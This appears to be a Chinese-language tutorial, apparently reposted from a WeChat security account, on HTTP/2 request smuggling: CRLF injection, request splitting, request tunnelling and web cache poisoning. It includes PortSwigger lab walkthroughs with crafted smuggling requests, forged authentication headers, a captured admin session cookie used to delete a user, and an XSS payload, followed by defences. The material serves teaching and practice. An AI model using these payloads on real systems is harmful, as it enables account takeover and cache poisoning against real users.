CRLF走私
基本介绍
网站即使采取措施阻止基本H2.CL或H2.TE攻击(例如:验证content-length或剥离任何transfer-encoding头),我们也可以通过利用HTTP/2的二进制格式中允许的一些方法来绕过这些前端措施,在HTTP/1中我们有时可以利用服务器处理独立换行符(n)方式之间的差异来走私被禁止的头
走私原理
如果后端将独立换行符(n)作为分隔符,而前端服务器不这样做,那么一些前端服务器将根本检测不到第二个头
Foo: barnTransfer-Encoding: chunked
这种差异在处理完整的CRLF (rn)序列时并不存在,因为所有的HTTP/1服务器都认为这会终止标头,由于HTTP/2消息是二进制的,而不是基于文本的,所以每个报头的边界是基于显式的、预先确定的偏移量而不是定界符字符,这意味着rn在标头值中不再有任何特殊意义,因此可以包含在值本身中,而不会导致标头被拆分,这本身似乎相对无害,但是当它被重写为HTTP/1请求时,rn将再次被解释为标头分隔符,因此HTTP/1后端服务器会看到两个不同的头:
Foo: bar
Transfer-Encoding: chunked
靶场示例
靶场地址:
https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-smuggling-via-crlf-injection
靶场介绍:本靶场容易受到请求走私的攻击,因为前端服务器会降级HTTP/2请求并且无法充分清理传入的标头,为了解决这个实验,你需要使用HTTP/2-exclusive请求走私向量来访问另一个用户的帐户,受害者每15秒访问一次主页
演示过程:
Step 1:首先访问上述链接进入靶场,然后点击”ACCESS THELAB”进入靶场
Step 2:在Burpsuite中捕获请求数据包并展开”Inspector”的请求属性部分将协议设置为HTTP/2,随后向请求添加一个任意的头,将序列rn追加到标头的值,后跟Transfer-Encoding: chunked
barrn
Transfer-Encoding: chunked
Body部分如下所示:
0
SMUGGLED
随后我们可以看到发送的每第二个请求会收到一个404响应,由此可以确认我们已经让后端将后续请求附加到走私的前缀上
Step 3:随后构造如下请求数据包
0
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=YOUR-SESSION-COOKIE
Content-Length: 800
search=x
发送请求然后立即刷新浏览器中的页面
此时运气好的会看到被外带出来的,中间需要多次尝试,有兴趣的可以去试试看
请求拆分
基本介绍
从上面的响应队列中毒中我们了解到了如何将一个HTTP请求拆分成为两个完整的请求,上面的例子拆分发生在消息体内部,但是当使用HTTP/2降级时,我们也可以使拆分发生在消息头中,例如:您甚至可以使用GET请求
:method GET
:path /
:authority vulnerable-website.com
foo
barrn
rn
GET /admin HTTP/1.1rn
Host: vulnerable-website.com
重写请求
在报头中拆分请求时,我们需要了解前端服务器如何重写请求并在手动添加任何HTTP/1报头时考虑这一点,否则其中一个请求可能缺少强制标头,例如:您需要确保后端收到的两个请求都包含host头,在降级过程中前端服务器通常会去除:authority伪标头并将其替换为新的HTTP/1主机标头,例如下面的重新请求:
:method GET
:path /
:authority vulnerable-website.com
foo
barrn
rn
GET /admin HTTP/1.1rn
Host: vulnerable-website.com
在重写过程中一些前端服务器会将新的主机头附加到当前头列表的末尾,就HTTP/2前端而言是位于在foo头之后,需要注意的是请求在后端被拆分的点之后,这意味着第一个请求根本没有host,而走私的请求有两个,在这种情况下您需要定位注入的host头,以便发生分割时它会出现在第一个请求中
:method GET
:path /
:authority vulnerable-website.com
foo
barrn
Host: vulnerable-website.comrn
rn
GET /admin HTTP/1.1
靶场示例
靶场地址:https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-splitting-via-crlf-injection
靶场介绍:本靶场容易受到请求走私的攻击,因为前端服务器会降级HTTP/2请求并且无法充分清理传入的标头,为了解决这个实验,你需要通过使用响应队列中毒进入位于/admin的管理面板来删除用户carlos,管理员用户大约每10秒登录一次
靶场演示:
Step 1;首先访问上面的链接进入靶场并点击”ACCESS THELAB”
Step 2:使用Burpsuite抓包并更改协议为HTTP/2,随后将路径更改为不存在的路径,比如:/x,这意味着我们正常情况下得到的都市404响应,但是如果我们一旦完成了对响应队列的毒化操作,那么我们将很容易识别到其他用户的响应信息
Step 3:随后使用”Inspector”在请求的末尾加入一个任意的头信息
#Name
foo
#Value
barrn
rn
GET /x HTTP/1.1rn
Host: YOUR-LAB-ID.web-security-academy.net
Step 4:随后发送请求,前端服务器在降级期间会将rnrn附加到标头的末尾,而这实际上会将走私的前缀转换为完整的请求,从而毒化响应队列
随后我们可以捕获到administrator的Session
HTTP/2 302 Found
Location: /my-account?id=administrator
Set-Cookie: session=cyZcKafhXtFXWKThxfViUIkgfRkV9zep; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Step 5:随后发生请求查看可用的接口
GET /my-account?id=administrator HTTP/2
Host: 0a590059045ceec6801b80f6009c0010.web-security-academy.net
Cookie: session=cyZcKafhXtFXWKThxfViUIkgfRkV9zep
访问/admin路径获取到删除用户的接口信息
Step 6:直接调用接口删除用户
GET /admin/delete?username=carlos HTTP/2
Host: 0a590059045ceec6801b80f6009c0010.web-security-academy.net
Cookie: session=cyZcKafhXtFXWKThxfViUIkgfRkV9zep
Step 7:随后完成解题
请求隧道
基本介绍
上面我们讨论的许多请求走私攻击之所以可以实现是因为前端和后端之间的相同连接处理多个请求,尽管有些服务器会为任何请求重用连接,但其他服务器有更严格的策略,例如:有些服务器只允许来自同一IP地址或同一客户端的请求重用连接,其他人根本不会重用连接,这限制了传统的请求走私所能实现的利用途径,因为没有明显的方法来影响其他用户的流量数据
虽然不能毒害套接字来干扰其他用户的请求,但是我们仍然可以发送一个请求,从后端得到两个响应,这将有可能对前端实现完全隐藏请求及其匹配的响应,通过使用这种技术我们可以绕过前端安全措施,甚至一些专门为防止请求走私攻击而设计的机制也无法阻止请求隧道,这种方式将请求隧道传输到后端并提供了一种更有限的请求走私形式,其实HTTP/1和HTTP/2都可以实现请求隧道,但是在只有HTTP/1的环境中检测起来要困难得多,由于HTTP/1中持久(保持活动)连接的工作方式,即使您确实收到了两个响应,这也不一定能确认请求被成功走私,另一方面,在HTTP/2中每个”Stream”应该只包含一个请求和响应,如果您收到一个HTTP/2响应,其正文中似乎是一个HTTP/1响应,那么我们便可以确信已经成功地通过隧道传输了第二个请求
头部泄露
假设我们发送了一个类似如下的请求来将内部头追加到将成为后端主体参数的内容中
:method POST
:path /comment
:authority vulnerable-website.com
content-type application/x-www-form-urlencoded
foo
barrn
Content-Length: 200rn
rn
comment=
x=1
在这种情况下,前端和后端都同意只有一个请求,有趣的是可以让它们在报头结束的位置上产生分歧,前端将我们注入的所有内容都视为头部的一部分,因此在尾部comment=string之后,另一方面后端看到rnrn序列认为这是标头的结尾,comment= string以及内部头被视为正文的一部分
POST /comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
comment=X-Internal-Header: secretContent-Length: 3
x=1
靶场示例
靶场地址:https://portswigger.net/web-security/request-smuggling/advanced/request-tunnelling/lab-request-smuggling-h2-bypass-access-controls-via-request-tunnelling
靶场介绍:本靶场容易受到请求走私的攻击,因为前端服务器会降级HTTP/2请求并且无法充分净化传入的头名称,要解决该实验你需要以管理员用户身份访问/admin中的管理面板并删除用户carlos,需要注意的是本环境中前端服务器不重用到后端的连接,因此不容易受到传统的请求走私攻击,然而它仍然容易受到隧道请求的攻击
靶场演示:
Step 1:首先访问以上靶场地址,然后点击”ACCESS THELAB”进入靶场
Step 2:在Burpsuite中捕获请求并将协议更改为HTTP/2,随后使用Inspector将一个任意的头附加到请求的末尾并尝试在其名称中隐藏一个主机头,如下所示
#Name
foo: barrn
Host: abc
#Value
xyz
随后发送请求数据包可以看到此处存在对abc的链接,说明我的CRLF注入成功
Step 3:在浏览器中可以看到搜索功能,随后进行一个简单的检索
Step 4:在burpsuite中将协议升级为HTTP/2,同时更改请求方法为POST,添加一个任意头并使用其名称字段注入一个大的Content-Length和一个额外的搜索参数,如下所示
#Name
foo: barrn
Content-Length: 500rn
rn
search=x
#Value
xyz
Step 5:在请求的Body中将任意字符附加到原始搜索参数,直到请求长度超过走私的Content-Length头,发送请求就可以看到响应中出现了前端服务器附加到我们请求的标头信息
Content-Length: 840
X-SSL-VERIFIED: 0
X-SSL-CLIENT-CN: null
X-FRONTEND-KEY: 2244638774928226
Step 6:随后将请求方法改为HEAD并更改头部信息,在其中插入请求路径这样它就可以走私对admin面板的请求,包括三个客户端身份验证头,确保按如下方式更新它们的值
#Name
foo: barrn
rn
GET /admin HTTP/1.1rn
X-SSL-VERIFIED: 1rn
X-SSL-CLIENT-CN: administratorrn
X-FRONTEND-KEY: 2244638774928226rn
rn
#Value
xyz
发送请求您会看到收到一个错误响应表示说没有收到足够的字节,这是因为请求资源的内容长度比我们试图读取的隧道响应长,随后更改:path伪标头,使其指向返回较短资源的端点,在这种情况下我们可以使用/login,随后在响应中找到删除carlos的URL,然后相应地更新隧道请求中的路径并重新发送完成解题
缓存投毒
基本介绍
请求隧道通常比传统的请求走私更受限制,但有时我们仍然可以构造高严重性的攻击,例如:我们可以将制作一个Web缓存投毒攻击,通过使用请求隧道可以有效地将一个响应的头部与另一个响应的主体混合和匹配,如果正文中的响应了未编码的用户输入,那么您可以在浏览器通常不会执行代码的上下文中利用这种行为来实现反射型XSS,例如:以下响应包含未编码的、攻击者可控制的输入,其本身是相对无害的,但是这里的Content-Type则表示这个有效负载将被浏览器简单地解释为JSON
HTTP/1.1 200 OK
Content-Type: application/json
{ "name" : "test<script>alert(1)</script>" }
[etc.]
如果我们将请求隧道传输到后端那么这个响应将会出现在另一个响应的主体中,有效地继承了它的头,包括内容类型
:status 200
content-type text/html
content-length 174
HTTP/1.1 200 OK
Content-Type: application/json
{ "name" : "test<script>alert(1)</script>" }
[ ]
靶场示例
靶场地址:
https://portswigger.net/web-security/request-smuggling/advanced/request-tunnelling/lab-request-smuggling-h2-web-cache-poisoning-via-request-tunnelling
靶场介绍:这个靶场很容易受到请求走私的攻击,因为前端服务器会降低HTTP/2请求的级别并且不会始终如一地清除传入的标头,为了解决实验室问题你需要在缓存中投毒,当受害者访问主页时,他们的浏览器会执行alert(1),受害者用户将每15秒访问一次主页
靶场演示:
Step 1:首先访问以上靶场链接并点击”ACCESS THELAB”进入靶场
Step 2:使用Burpsuite捕获用户的请求,然后通过”Inspector”将请求协议切换为HTTP/2,并修改请求头部信息,走私一下内容
#Name
:path
#Value
/?cachebuster=1 HTTP/1.1rn
Foo: bar
Step 3:从上面可以看到响应正常,说明我们可以借助:path进行走私请求,随后改变请求方法为HAED,试一下进行隧道传输,从响应正文中可以看到包含了:HTTP/1.1 200 OK,说明我们的走私成功
1 HTTP/1.1rn =
Host:0a8f00d80344b40981c0e8ab00300007.web-security-academy.netrn
rn
GET /post?postId=1 HTTP/1.1rn
Foo: bar
Step 4:随后我们需要找到一个基于HTML的XSS有效负载,而不编码或转义它可控点,发送对GET /resources的响应并观察到触发了到/resources/的重定向
Step 5:随后尝试通过:path伪头隧道传输该请求,在查询字符串中包括XSS有效负载
#Name
:path
#Vaule
/?cachebuster=3 HTTP/1.1rn
Host: YOUR-LAB-ID.web-security-academy.netrn
rn
GET /resources?<script>alert(1)</script> HTTP/1.1rn
Foo: bar
Step 6:从上面可以注意到请求超时了,这是因为主响应中的Content-Length头比隧道请求的嵌套响应长,随后我们检查对普通GET /请求的响应中的内容长度并记下其值
随后回到Burp Repeater中的恶意请求,在结束</script >标记后添加足够多的任意字符来填充您的反射有效负载以便隧道响应的长度将超过您刚才提到的内容长度
随后重新发送数据包进行缓存投毒:
此时访问/?cachebuster=3成功触发恶意载荷
重定向操作
Step 7:随后我们直接移除”cachebuster”参数并对网站直接进行缓存投毒操作
此时可以看到直接访问即可触发恶意载荷,而不在是特定的链接
随后刷新页面完成解题:
防御措施
-
避免HTTP/2降级或者使用端到端的HTTP/2
-
限制那些未标记的请求头,同时建议放弃继承HTTP/1.1
-
强制执行HTTP/1中存在的字符集限制 – 拒绝在请求头中包含换行符、请求头名称中包含冒号、请求方法中包含空格等的请求
参考链接
https://hpbn.co/http2/
https://portswigger.net/web-security/request-smuggling/advanced#http-2-request-smuggling
原文始发于微信公众号(七芒星实验室):HTTP2请求走私(下)